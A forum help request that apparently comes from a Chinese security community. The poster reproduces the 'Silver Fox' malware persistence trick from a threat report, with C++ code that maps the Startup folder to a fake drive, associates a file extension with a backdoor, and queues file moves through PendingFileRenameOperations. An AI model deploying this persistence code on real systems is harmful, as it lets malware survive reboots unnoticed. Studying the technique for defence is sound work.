-
-
未解决 [求助]银狐技术研究探讨之PendingFileRenameOperations 和 虚拟设备映射启动先后问题 50雪币
-
发表于: 2025-7-23 00:37 273
-
我参照 银狐情报共享第1期 | Att&CK视角下的最新活跃技战术分享 的最后持久化部分,写了一个demo核心代码如下
// 创建虚拟设备,把Programs 映射到P
std::wstring target_path = L"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs";
std::wstring reg_path = L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\DOS Devices";
std::wstring dos_path = L"\\??\\" + target_path;
RegCreateKeyExW(HKEY_LOCAL_MACHINE, reg_path.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey,
&disposition)
RegSetValueExW(hKey, L"P:", 0, REG_SZ, (LPBYTE)dos_path.c_str(),
(dos_path.length() + 1) * sizeof(wchar_t))
// 关联后缀
LONG result = RegCreateKeyExA(HKEY_CLASSES_ROOT, ".tlpx\\Shell\\Open\\Command", 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE, NULL, &hKey, NULL);
result = RegSetValueExA(hKey, NULL, 0, REG_SZ, (LPBYTE)bd_path.c_str(), bd_path.length() + 1);
// 往PendingFileRenameOperations写入源路径和目标路径
std::wstring rname_path = L"\\??\\" + std::wstring(full_rname_path.begin(), full_rname_path.end());
std::wstring target_rname_path = L"\\??\\P:\\Startup\\" + std::wstring(full_rname.begin(), full_rname.end());
std::wstring regvalue = rname_path;
regvalue.push_back(L'\0'); // 添加第一个空字符
regvalue += target_rname_path;
regvalue.push_back(L'\0'); // 添加第二个空字符
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
// set value
if (RegSetValueExW(hKey, L"PendingFileRenameOperations", 0, REG_MULTI_SZ, (LPBYTE)regvalue.c_str(),
(regvalue.length() + 1) * sizeof(wchar_t)) == ERROR_SUCCESS) {
std::wcout << L"注册表写入成功!" << std::endl;
} else {
std::wcerr << L"注册表写入失败!" << std::endl;
}
RegCloseKey(hKey);
} else {
std::wcerr << L"注册表创建/打开失败!" << std::endl;
}生成的注册表条目如下
\??\C:\Users\Public\Downloads\yMgfYCnH.tlpx \??\P:\Startup\yMgfYCnH.tlpx \??\C:\Users\Public\Downloads\yMgfYCnH.cmd \??\P:\Startup\yMgfYCnH.cmd
我发现即使我路径跟文章里面一样,重启系统后也不会写入到指定路径。
而后我尝试使用了MoveFileExW并携带MOVEFILE_DELAY_UNTIL_REBOOT,发现生成的注册表条目会将虚拟设备解析到实际的路径,即如下
*1\??\C:\Users\Public\Downloads\YaNxgdNr.tlpx *1\??\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\YaNxgdNr.tlpx *1\??\C:\Users\Public\Downloads\YaNxgdNr.cmd *1\??\C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\YaNxgdNr.cmd
我怀有系统在处理PendingFileRenameOperations时,虚拟设备还没有映射,我还尝试了如下路径,均不能复现
C:\Users\Public\Downloads\yMgfYCnH.tlpx P:\Startup\yMgfYCnH.tlpx C:\Users\Public\Downloads\yMgfYCnH.cmd P:\Startup\yMgfYCnH.cmd \??\C:\Users\Public\Downloads\yMgfYCnH.tlpx \\.\P:\Startup\yMgfYCnH.tlpx \??\C:\Users\Public\Downloads\yMgfYCnH.cmd \\.\P:\Startup\yMgfYCnH.cmd
只有使用原本的启动目录路径才可以。
最后于 2025-7-23 00:39
被mb_duzzidie编辑
,原因:
赞赏
他的文章
赞赏
雪币:
留言: